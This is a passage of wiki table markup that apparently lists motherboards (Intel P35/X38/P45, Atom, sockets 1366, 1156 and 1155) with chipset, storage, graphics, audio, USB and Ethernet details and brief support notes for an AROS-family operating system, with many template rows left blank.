| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus P5W DH Deluxe P5WDG2 WS PRO 
| &lt;!--Chipset--&gt;975X 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;2 ports 
| &lt;!--Gfx--&gt;2 PCIe x16 slots
| &lt;!--Audio--&gt;ALC882 AND LATER ADI 1988B 
| &lt;!--USB--&gt;2 USB2.0 
| &lt;!--Ethernet--&gt;{{No|Marvell 88E8052 88E8053}}
| &lt;!--Opinion--&gt;Firewire TI TSB43AB22A no 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Abit IP35 
| &lt;!--Chipset--&gt;P35 Express + ICH9R  
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 ports 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC888 HDA 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;two RTL8110SC 
| &lt;!--Opinion--&gt;Firewire Texas TSB43 AB22A no 
|-
| &lt;!--Name--&gt;MSI P35 Neo F FL MS-7630 rev 1 
| &lt;!--Chipset--&gt;Intel P35 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 1.1 support 
| &lt;!--Audio--&gt;HD Audio ALC888
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek
| &lt;!--Opinion--&gt;Base model of this range of P35 mobos 
|-
| &lt;!--Name--&gt;GA-P35-DS3
| &lt;!--Chipset--&gt;P35 and ICH9 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 ports
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HDAudio with Realtek ALC889A codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8111B
| &lt;!--Opinion--&gt;2008 - 4 x 1.8V DDR2 DIMM sockets max 8 GB - 
|-
| &lt;!--Name--&gt;GA-EP35-DS3 (rev. 2.1) 
| &lt;!--Chipset--&gt;Intel® P35 + ICH9 Chipset
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{unk|}}
| &lt;!--SATA--&gt;{{unk|4 }}
| &lt;!--Gfx--&gt;pci-e
| &lt;!--Audio--&gt;{{unk|Realtek ALC889A codec }}
| &lt;!--USB--&gt;{{yes | }}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek 8111B}}
| &lt;!--Opinion--&gt;good 
|-
| &lt;!--Name--&gt;Abit IX38 Quad GT 
| &lt;!--Chipset--&gt;X38 / ICH9R Chipset 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 ports 
| &lt;!--Gfx--&gt;PCI-E 2.0 slot  
| &lt;!--Audio--&gt; HD Audio ALC888 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;Realtek RTL 8110SC 8169SC 
| &lt;!--Opinion--&gt;Firewire Texas TSB 43AB22A no 
|-
| &lt;!--Name--&gt;Gigabyte X38-DQ6
| &lt;!--Chipset--&gt;X38 / ICH9R Chipset 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 ports 
| &lt;!--Gfx--&gt;PCI-E 2.0 slot 
| &lt;!--Audio--&gt;ALC889A HDA 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;twin 8111B 8169 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Gigabyte GA-EP45 DS3 (2008) 
| &lt;!--Chipset--&gt;P45 + ICH9 or ICH10 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 x SATA 3Gbit/s (SATAII0, SATAII1, SATAII2, SATAII3, SATAII4, SATAII5)  
| &lt;!--Gfx--&gt;two PCI-E v2.0 x16 slots support splitting its 16 PCIe 2.0 lanes across two cards at x8 transfers 
| &lt;!--Audio--&gt;HD Audio with ALC888  or ALC889A codec
| &lt;!--USB--&gt;6 USB2.0 
| &lt;!--Ethernet--&gt;2 x Realtek 8111C chips (10/100 /1000 Mbit)  
| &lt;!--Opinion--&gt;4 x 1.8V DDR2 DIMM sockets non-EEC 
|-
| &lt;!--Name--&gt;MSI P45 Platinum (2008) 
| &lt;!--Chipset--&gt;P45 + ICH9 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 sata2 ports 
| &lt;!--Gfx--&gt;two PCI-E x16 v2.0 slots 
| &lt;!--Audio--&gt;ALC888 HD Audio 
| &lt;!--USB--&gt;6 USB2.0 
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt; 
| &lt;!--Chipset--&gt;G45 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;adds Intel’s GMA X4500HD graphics engine to P45 Express features 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt; 
| &lt;!--Chipset--&gt;G43 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;GMA X4500 2d
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;removes HD video acceleration from the G45’s features 
|-
| &lt;!--Name--&gt;Asus P5E Deluxe 
| &lt;!--Chipset--&gt; X48 with ICH9 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;HD Audio with ADI 1988B codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Marvell 88E8001 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;GigaByte GA-X48 DQ6 
| &lt;!--Chipset--&gt;X48 plus ICH9R 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;8 ports 
| &lt;!--Gfx--&gt;two PCI-E x16 v2.0 slots 
| &lt;!--Audio--&gt;ALC889A 
| &lt;!--USB--&gt;8 USB2.0 
| &lt;!--Ethernet--&gt;RTL 8111B 8169 
| &lt;!--Opinion--&gt;Firewire TSB43AB23 no - ICH9 pairs with Intel’s 3-series (X38, P35, etc.) chipsets, in addition to the X48 Express, but excluding the G35 Express 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Gigabyte EP43-DS3L  and Gigabyte GA-EP43-UD3L 
| &lt;!--Chipset--&gt;P43 with ICH10 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;6 x SATA 3Gbit/s connectors 
| &lt;!--Gfx--&gt;1 x PCI Express x16 slot PCI Express 2.0 standard
| &lt;!--Audio--&gt;HD Audio with ALC888 codec  
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;realtek 8111C 
| &lt;!--Opinion--&gt;4 x 1.8V DDR2 DIMM sockets - 4 pcie x1 - 2 pci - ATX Form Factor; 30.5cm x 21.0cm 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Gigabyte 73-pvm-s2h rev.1.0
| &lt;!--Chipset--&gt;NVIDIA GeForce 7100 nForce 630i 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes|1 port}} 
| &lt;!--SATA--&gt;{{yes|3 ports SATA2}} 
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d GeForce 7100 (vga /hdmi/dvi), 1 PCIe x16 Slot }} 
| &lt;!--Audio--&gt;{{Yes|Realtek ALC889A MCP73}}
| &lt;!--USB--&gt;{{Yes|7 USB2.0}} 
| &lt;!--Ethernet--&gt;{{no|RTL 8211B MCP73}}
| &lt;!--Opinion--&gt;Firewire Not, tested with Icaros Desktop 2.0.3 MCP73 is a single chip solution in three different versions 
|-
| &lt;!--Name--&gt;Nvidia 7150 630i 
| &lt;!--Chipset--&gt;intel based nForce 630i (MCP73)
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{maybe|ide legacy}}
| &lt;!--GFX--&gt;GF 7150 
| &lt;!--Audio--&gt;{{yes|HD AUDIO ALC883}} 
| &lt;!--USB--&gt;{{yes|ohci echi}}
| &lt;!--Ethernet--&gt;{{no|RTL8201C}} 
| &lt;!--Opinion--&gt;being tested 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 2.0 x16 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt; the MCP73PV or the GeForce 7050/nForce 630i 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;the MCP73S or the GeForce7025/nForce 630i 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;the MCP73V or the GeForce 7025/nForce 610i 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}

=====Atom SOC (2008/2x)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;D945CLF 
| &lt;!--Chipset--&gt;N230 single core 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{yes|GMA945}}
| &lt;!--Audio--&gt;{{yes|ALC662}} Skt 441
| &lt;!--USB--&gt;{{yes|uhci and ehci}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169}}
| &lt;!--Opinion--&gt;works very well 
|-
| &lt;!--Name--&gt;[http://www.clusteruk.com iMica D945GCKF2 mobo]
| &lt;!--Chipset--&gt;Intel Atom N330 Dual Core
| &lt;!--ACPI--&gt;wip
| &lt;!--IDE--&gt;{{yes|IDE}}
| &lt;!--SATA--&gt;{{maybe}}
| &lt;!--Gfx--&gt;{{yes|gma}}
| &lt;!--Audio--&gt;{{yes|HD AUDIO}}
| &lt;!--USB--&gt;{{yes|uhci ehci}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;D945GSEJT + Morex T1610 
| &lt;!--Chipset--&gt;Atom 230 with 945GSE 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{maybe}}
| &lt;!--Gfx--&gt;{{yes|GMA900 vga but issues with DVI output}}
| &lt;!--Audio--&gt;{{yes|HDAudio with ALC662 codec}}
| &lt;!--USB--&gt;{{yes| }} 
| &lt;!--Ethernet--&gt;{{yes|RTL8169 8111DL}}
| &lt;!--Opinion--&gt;small size, runs off 12V 
|-
| &lt;!--Name--&gt;ASUS AT3N7A-I  
| &lt;!--Chipset--&gt;Atom N330 Nvidia ION
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{maybe|3 ports legacy IDE}}
| &lt;!--Gfx--&gt;{{yes|nouveau  cube  cube 2 45  quake 3 }}  
| &lt;!--Audio--&gt;{{yes|HD Audio with VIA 1708S codec playback}}
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;{{yes|RTL8169 device}}
| &lt;!--Opinion--&gt;&lt;ref&gt;http://www.youtube.com/watch?v=EAiJpvu73iw&lt;/ref&gt; good but can freeze randomly at times 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;D410PT 45nm pinetrail
| &lt;!--Chipset--&gt;D410 and NM10 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{maybe|ide legacy}}
| &lt;!--Gfx--&gt;{{maybe|GMA3150}}
| &lt;!--Audio--&gt;{{yes|ALC262 or ALC66x odd clicks}}
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;{{yes|RTL8111DL}}
| &lt;!--Opinion--&gt;some support 
|-
| &lt;!--Name--&gt;45nm pinetrail
| &lt;!--Chipset--&gt;D510 and NM10 + GMA3150 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;GMA3150 
| &lt;!--Audio--&gt;ALC888B or ALC66x 
| &lt;!--USB--&gt;{{yes}} 
| &lt;!--Ethernet--&gt;RTL8111DL
| &lt;!--Opinion--&gt;some support 
|-
| &lt;!--Name--&gt;Gigabyte GA-D525TUD (rev. 1.0 1.2 1.5)
| &lt;!--Chipset--&gt;D525 NM10 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;gma 3150 
| &lt;!--Audio--&gt;HDAudio ALC887 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 rtl8111f 
| &lt;!--Opinion--&gt;2012 64 - 2 ddr3 dimm slots max 8g - Mini-ITX Form Factor; 17.0cm x 17.0cm - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
|}


=====Socket 1366 (2009/10)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Asus P6T DELUXE 
| &lt;!--Chipset--&gt;x58 + ICH10 and Intel 1st gen. (Nehalem/Lynnfield) Core i7 (8xx) CPU 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|1 port}} 
| &lt;!--SATA--&gt;4 ports 
| &lt;!--Gfx--&gt;2 PCIe x16 (r2.0) slots 
| &lt;!--Audio--&gt;ADI AD2000B HD Audio
| &lt;!--USB--&gt;{{yes|4 USB2.0}} 
| &lt;!--Ethernet--&gt;{{no|Marvell 88E8056 Gigabit}} 
| &lt;!--Opinion--&gt;Firewire VIA VT6308 no
|-
| &lt;!--Name--&gt;gigabyte ex58 ds 
| &lt;!--Chipset--&gt; x58 + ICH10 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek 8111D rtl8169 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket 1156 (2010)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Acer Aspire M3910
| &lt;!--Chipset--&gt;i3 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{unk| }}
| &lt;!--Gfx--&gt;{{maybe|VESA intel HD}}
| &lt;!--Audio--&gt;{{unk|HDAudio with Realtek ALC}}
| &lt;!--USB--&gt;{{yes| }}
| &lt;!--Ethernet--&gt;{{unk| Realtek}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-H55M-S2H 
| &lt;!--Chipset--&gt;H55 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCIe slot 
| &lt;!--Audio--&gt;{{Yes|ALCxxx playback}} ALC888B (Rev1.x) 
| &lt;!--USB--&gt;{{Yes| }} 
| &lt;!--Ethernet--&gt;{{Yes|RTL8111D}} (Rev 1.x) 
| &lt;!--Opinion--&gt;Tested but no support for WLAN Realtek 8188su 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI H55M-E33 v1.0
| &lt;!--Chipset--&gt;E7636 M7636 H55 chipset so older i3/i5/i7 system
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|HD Audio ALC889}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{Yes|PCI-E Realtek 8111DL}}
| &lt;!--Opinion--&gt;Works well 
|-
| &lt;!--Name--&gt;Asus P7P55D
| &lt;!--Chipset--&gt;P55 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{unk| }}
| &lt;!--SATA--&gt;{{unk| }}
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;{{maybe | via codec}}
| &lt;!--USB--&gt;{{unk| }}
| &lt;!--Ethernet--&gt;{{maybe |rtl8169 Realtek RTL8111B/C  RTL8112L }}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA 1155 H2 (2010/13)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;ASUS P8H61-I LX R2.0 
| &lt;!--Chipset--&gt;H61 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata 
| &lt;!--Gfx--&gt;1 pci-e slot 
| &lt;!--Audio--&gt;{{unk|HDAudio via7018s codec}} 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;{{yes|rtl8169 8111f}} 
| &lt;!--Opinion--&gt;2013 64bit up to intel ivybridge cpus - 2 ddr3 dimm slots - 
|-
| &lt;!--Name--&gt;Asus P8H61-I/RM/SI mini-itx 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;2 sata 
| &lt;!--Gfx--&gt;pci-e 2
| &lt;!--Audio--&gt;{{unk|HDAudio via7018s codec}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{yes|rtl8169 8111f}} 
| &lt;!--Opinion--&gt;2013 64bit up to i3-2010 - OEM board from an RM machine but not ivybridge as the Asus BIOS isn't compatible with these, 0909 hacked one might work - 
|-
| &lt;!--Name--&gt;asus p8h61-i lx r2.0/rm/si mini itx 
| &lt;!--Chipset--&gt;h61
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 2.0
| &lt;!--Audio--&gt;HDaudio with VIA codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 rtl8111e
| &lt;!--Opinion--&gt;2012 sandy and ivy - oem from rm machine 2 x 240-Pin DDR3 DIMM sockets max DDR3 1333MHz - 
|-
| &lt;!--Name--&gt;‎Bewinner 63q9c7omvs V301 ITX 
| &lt;!--Chipset--&gt;H61 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 sata with nvme 
| &lt;!--Gfx--&gt;pci-e 4 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|Realtek 8106E 100M Network Card}} 
| &lt;!--Opinion--&gt;2022 64 
|-
| &lt;!--Name--&gt;Biostar H61 H61MHV2 H61MHV3 Ver. 7.0
| &lt;!--Chipset--&gt;H61 with Intel Pentium G 2xxx series CPU 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;pci-e 
| &lt;!--Audio--&gt;Realtek ALC662 later ALC897
| &lt;!--USB--&gt;4 usb2
| &lt;!--Ethernet--&gt;rtl8169 Realtek RTL8111H
| &lt;!--Opinion--&gt;2014 - 2 ddr3 dimm slots - 
|-
| &lt;!--Name--&gt;Gigabyte GA-H61M-D2-B3 
| &lt;!--Chipset--&gt;H61 + Sandybridge 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;4 ports sata2 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC889 
| &lt;!--USB--&gt;2 ports
| &lt;!--Ethernet--&gt;Realtek RTL8111E
| &lt;!--Opinion--&gt;
|-
